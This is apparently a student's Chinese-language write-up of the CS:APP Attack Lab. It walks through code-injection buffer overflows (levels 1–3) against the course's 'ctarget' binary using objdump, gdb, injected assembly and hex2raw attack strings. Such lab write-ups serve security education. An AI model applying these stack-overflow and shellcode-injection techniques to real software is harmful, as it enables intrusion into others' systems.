csapp Attack实验
本次实验依然是在Linux上实现,主要涉及两种攻击方式:code injection 代码注入攻击和Return-oriented programming(ROP)面相返回编程。
实验前三个level主要是对文件ctarget进行攻击,其中会用到hex2raw辅助工具来生成攻击字符串,实验前一定要看一下实验介绍writeup。
##第一部分
主要是代码注入攻击,执行ctarget文件的test函数,任务是通过修改返回地址,使执行完
getbuf函数后返回到其他函数,而不是返回test
####level 1:
这关不需要注入代码,只要修改getbuf函数的返回值返回到touch1即可。
首先我们用objdump 命令反编译ctarget文件重定向到一个文本文件里
1 | objdump -d ctarget >level1 |
然后用vim打开level1,用/getbuf查找到getbuf的汇编代码:

可以看到getbuf申请了40个字节的空间,因此我们要覆盖的返回地址是从第41个字节开始
然后我们在查找touch1文件,得到第一行的地址为4017c0,这就是我们要返回的地址,ret指令获得的是8个字节的地址,因此我们需要输入48个字节,前40个随便输入,最后八位是修改后的返回地址,注意这里是小端序,这里我们创建一个文本文件ans.txt,把要输入的攻击字符串写出来:
1 | 00 00 00 00 00 00 00 00 |
然后我们用hex2raw来生成攻击字符串ansx.txt:
1 | ./hex2raw < ans.txt > ansx.txt |
然后我们执行ctarget文件ansx.txt作为输入
1 | ./ctarget -qi ansx.txt |
即可完成实验。
###Level2
第二关要求我们注入一些代码,大致任务是,让test返回到touch2函数,并且向%rdi传入一个cookie值作为参数传入touch2使其输出正确的内容
经过分析,我们把任务分为这几个步骤
####1.用gdb找到getbuf的rsp栈顶指针
我们gdb ctarget进入调试,然后在getbuf函数设置断点,在运行,并si执行进入getbuf,disas getbuf查看是否执行到分配完空间,再print $rsp 得到栈顶地址,如下图:
####2.找到touch2的首地址
我们用vim打开在之前重定向的ctarget程序源码文本level1
然后输入/touch2 找到touch2首地址:
####3.查看cookie的值
这个值直接在当前目录下已经给我们了,只要cat cookie.txt 即可
####4.编写攻击汇编代码
这里的一些方法可以参考writeup的附录B
我们先创建一个l2.s
这里我们只需要把cookie值传给%rdi,然后返回touch2,所以汇编指令为
1 | movq $0x59b997fa,%rdi #cookie传入rdi |
####4.得到攻击代码的16进制编码
根据附录B的指示
我们进行如下操作
1 | gcc -c l2.s #编译我们写的代码 |
然后我们 cat 查看l2.d
1 | ┌──(kali㉿kali)-[~/attc/target1] |
指令前面的16进制编码就是我们需要的字节编码。
####5.编写攻击代码
这里我们需要先把刚才生成的指令字节编码输入,然后填充到40字节,最后把rsp的地址输入作为getbuf的返回地址(注意最后的返回地址是小端序存储,并且要补齐八个字节)
所以我们创建ans2.txt而输入的代码是
1 | 48 c7 c7 fa 97 b9 59 68 |
####6.调用运行
最后我们生成攻击代码并运行ctarget
1 | ./hex2raw < ans2.txt > ans2x.txt |
得到结果:
可以看到第二行是touch2!证明我们正确运行了。
###Level3
第三部分任务是让给我们执行touch3函数,也需要把cookie值传入%rdi寄存器作为参数传给touch3,与上一关不同的是,这次我们要传的是cookie的字符串格式,而且不能直接传给%rdi
而是把存字符串的地址传给他,所以我们要把cookie转换成16进制的ASCII码并且存到一个位置,后边的提示告诉我们,由于touch3中存在hexmatch和strncmp函数,会分配空间覆盖getbuf的空间,所以我们不能把字符串存在getbuf栈帧内,我们可以存到test函数的栈帧中,因为他不会受到影响。
touch3里的hexmatch函数主要是比较我们传入的字符串与cookie是否相同。
那么第三关就可以分为以下几个步骤
####1.把cookie值转换成ascll 16进制码
查看cookie文件得到cookie为0x59b997fa
根据提示信息,我们用man ASCII 查看ASCII码表得到cookie的ascill码 为
35 39 62 39 39 37 66 61 00(字符串后边要加/0)
####2.找到test的栈顶指针
我们用gdb ctarget调试该程序
然后在test设置断点,run -q 运行,
ni单步执行到test分配完空间
print $rsp查看栈顶指针,得到
1 | (gdb) print $rsp |
这就是我们要存字符串的地址
####3.找到getbuf的栈顶指针
同样的,gdb ctarget进入gdb界面
b getbuf 设置断点
run -q运行
ni单步执行到getbuf分配完空间
print $rsp 查看栈顶指针
1 | (gdb) print $rsp |
这是我们要修改成的getbuf返回地址
####4.找到touch3的首地址
我们用vim打开反编译ctarget的level1文件
输入/touch3找到touch3的首地址为0x4018fa,如图:
####5.编写注入汇编代码
我们vim打开一个新文件l3.s
这里我们要实现的是把cookie字符串所在地址传给%rdi,然后返回到touch3,所以汇编代码是:
1 | movq $0x5561dca8,%rdi |
然后我们gcc -c l3.s 进行编译
如果不报错,就objdump -d l3.o > l3.d 反编译
然后cat l3.d查看汇编指令的16进制字节编码:
1 | ┌──(kali㉿kali)-[~/attc/target1] |
####6.编写攻击代码并运行
我们先输入注入攻击的代码,然后补充到40字节,在吧之前得到的getbuf栈顶指针覆盖到getbuf的返回地址,然后补充到八字节,在吧字符串的ascill码输入,所以攻击代码为
1 | 48 c7 c7 a8 dc 61 55 68 #攻击指令 |
保存到ans3.txt最后输入
1 | ./hex2raw < ans3.txt > ans3x.txt |
得到攻击字符,最后运行ctarget
如果运行成功,即可得到如下画面: